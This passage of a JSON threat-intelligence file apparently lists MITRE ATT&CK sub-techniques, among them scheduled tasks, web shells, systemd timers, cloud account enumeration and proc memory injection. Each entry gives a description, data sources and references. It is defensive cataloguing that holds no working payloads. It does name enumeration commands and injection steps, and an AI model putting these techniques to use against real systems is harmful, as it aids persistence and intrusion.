"https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/",
"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
"https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334",
"type": "subtechnique-of"
}
],
"uuid": "dca670cf-eeec-438f-8185-fd959d9ef211",
"value": "RC Scripts - T1037.004"
},
{
"description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).",
"meta": {
"external_id": "T1053.005",
"kill_chain": [
"mitre-attack:execution",
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: Process Creation",
"Scheduled Job: Scheduled Job Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1053/005",
"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events",
"https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://technet.microsoft.com/library/dd315590.aspx",
"https://twitter.com/leoloobeek/status/939248813465853953"
]
},
"related": [
{
"dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
"type": "subtechnique-of"
}
],
"uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
"value": "Scheduled Task - T1053.005"
},
{
"description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ",
"meta": {
"external_id": "CAPEC-650",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"File: File Creation",
"File: File Modification",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1505/003",
"https://capec.mitre.org/data/definitions/650.html",
"https://github.com/nsacyber/Mitigating-Web-Shells",
"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
"https://www.us-cert.gov/ncas/alerts/TA15-314A"
]
},
"related": [
{
"dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb",
"type": "subtechnique-of"
}
],
"uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
"value": "Web Shell - T1505.003"
},
{
"description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.",
"meta": {
"external_id": "T1053.006",
"kill_chain": [
"mitre-attack:execution",
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: Process Creation",
"Scheduled Job: Scheduled Job Creation"
],
"mitre_platforms": [
"Linux"
],
"refs": [
"http://man7.org/linux/man-pages/man1/systemd.1.html",
"https://attack.mitre.org/techniques/T1053/006",
"https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a",
"https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html",
"https://wiki.archlinux.org/index.php/Systemd/Timers",
"https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/",
"https://www.tecmint.com/control-systemd-services-on-remote-linux-server/"
]
},
"related": [
{
"dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
"type": "subtechnique-of"
}
],
"uuid": "a542bac9-7bc1-4da7-9a09-96f69e23cc21",
"value": "Systemd Timers - T1053.006"
},
{
"description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items. (Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.",
"meta": {
"external_id": "T1037.005",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1037/005",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334",
"type": "subtechnique-of"
}
],
"uuid": "c0dfe7b0-b873-4618-9ff8-53e31f70907f",
"value": "Startup Items - T1037.005"
},
{
"description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation).\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.",
"meta": {
"external_id": "T1069.003",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Command: Command Execution",
"Group: Group Enumeration",
"Group: Group Metadata",
"Process: Process Creation"
],
"mitre_platforms": [
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1069/003",
"https://cloud.google.com/identity/docs/reference/rest",
"https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html",
"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest",
"https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0",
"https://github.com/True-Demon/raindance",
"https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
]
},
"related": [
{
"dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce",
"type": "subtechnique-of"
}
],
"uuid": "16e94db9-b5b1-4cd0-b851-f38fbd0a70f2",
"value": "Cloud Groups - T1069.003"
},
{
"description": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)",
"meta": {
"external_id": "T1087.003",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"User Account: User Account Metadata"
],
"mitre_platforms": [
"Windows",
"Office 365",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1087/003",
"https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019",
"https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist",
"https://support.google.com/a/answer/166870?hl=en",
"https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/"
]
},
"related": [
{
"dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
"type": "subtechnique-of"
}
],
"uuid": "4bc31b94-045b-4752-8920-aebaebdb6470",
"value": "Email Account - T1087.003"
},
{
"description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ",
"meta": {
"external_id": "T1078.003",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Logon Session: Logon Session Creation",
"Logon Session: Logon Session Metadata",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1078/003"
]
},
"related": [
{
"dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
"type": "subtechnique-of"
}
],
"uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2",
"value": "Local Accounts - T1078.003"
},
{
"description": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)",
"meta": {
"external_id": "T1505.004",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1505/004",
"https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview",
"https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)",
"https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)",
"https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)",
"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf",
"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/",
"https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx",
"https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html",
"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage",
"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/"
]
},
"related": [
{
"dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb",
"type": "subtechnique-of"
}
],
"uuid": "b46a801b-fd98-491c-a25a-bca25d6e3001",
"value": "IIS Components - T1505.004"
},
{
"description": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"meta": {
"external_id": "T1590.004",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1590/004",
"https://dnsdumpster.com/"
]
},
"related": [
{
"dest-uuid": "9d48cab2-7929-4812-ad22-f536665f0109",
"type": "subtechnique-of"
}
],
"uuid": "34ab90a3-05f6-4259-8f21-621081fdaba5",
"value": "Network Topology - T1590.004"
},
{
"description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.",
"meta": {
"external_id": "T1059.004",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1059/004",
"https://linux.die.net/man/1/bash",
"https://support.apple.com/HT208050"
]
},
"related": [
{
"dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
"type": "subtechnique-of"
}
],
"uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
"value": "Unix Shell - T1059.004"
},
{
"description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.",
"meta": {
"external_id": "T1078.004",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Logon Session: Logon Session Creation",
"Logon Session: Logon Session Metadata",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1078/004",
"https://aws.amazon.com/identity/federation/",
"https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction",
"https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs"
]
},
"related": [
{
"dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
"type": "subtechnique-of"
}
],
"uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65",
"value": "Cloud Accounts - T1078.004"
},
{
"description": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)",
"meta": {
"external_id": "T1087.004",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"User Account: User Account Metadata"
],
"mitre_platforms": [
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1087/004",
"https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list",
"https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html",
"https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html",
"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest",
"https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0",
"https://github.com/True-Demon/raindance",
"https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
]
},
"related": [
{
"dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
"type": "subtechnique-of"
}
],
"uuid": "8f104855-e5b7-4077-b1f5-bc3103b41abe",
"value": "Cloud Account - T1087.004"
},
{
"description": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"meta": {
"external_id": "T1590.005",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1590/005",
"https://dnsdumpster.com/",
"https://www.circl.lu/services/passive-dns/",
"https://www.whois.net/"
]
},
"related": [
{
"dest-uuid": "9d48cab2-7929-4812-ad22-f536665f0109",
"type": "subtechnique-of"
}
],
"uuid": "0dda99f0-4701-48ca-9774-8504922e92d3",
"value": "IP Addresses - T1590.005"
},
{
"description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.",
"meta": {
"external_id": "T1059.005",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1059/005",
"https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/",
"https://docs.microsoft.com/dotnet/visual-basic/",
"https://docs.microsoft.com/office/vba/api/overview/",
"https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)",
"https://en.wikipedia.org/wiki/Visual_Basic_for_Applications"
]
},
"related": [
{
"dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
"type": "subtechnique-of"
}
],
"uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
"value": "Visual Basic - T1059.005"
},
{
"description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"meta": {
"external_id": "T1055.009",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"File: File Modification"
],
"mitre_platforms": [
"Linux"
],
"refs": [
"http://hick.org/code/skape/papers/needle.txt",
"http://man7.org/linux/man-pages/man1/dd.1.html",
"https://attack.mitre.org/techniques/T1055/009",
"https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html"
]
},
"related": [
{
"dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
"type": "subtechnique-of"
}
],
"uuid": "d201d4cc-214d-4a74-a1ba-b3fa09fd4591",
"value": "Proc Memory - T1055.009"
},
{
"description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.",
"meta": {
"external_id": "T1608.005",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1608/005",
"https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/",
"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"
]
},
"related": [
{
"dest-uuid": "84771bc3-f6a0-403e-b144-01af70e5fda0",
"type": "subtechnique-of"
}
],
"uuid": "84ae8255-b4f4-4237-b5c5-e717405a9701",
"value": "Link Target - T1608.005"
},
{
"description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",
"meta": {
"external_id": "T1132.001",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1132/001",
"https://en.wikipedia.org/wiki/Binary-to-text_encoding",
"https://en.wikipedia.org/wiki/Character_encoding"
]
},
"related": [
{
"dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
"type": "subtechnique-of"
}
],
"uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
"value": "Standard Encoding - T1132.001"
},
{
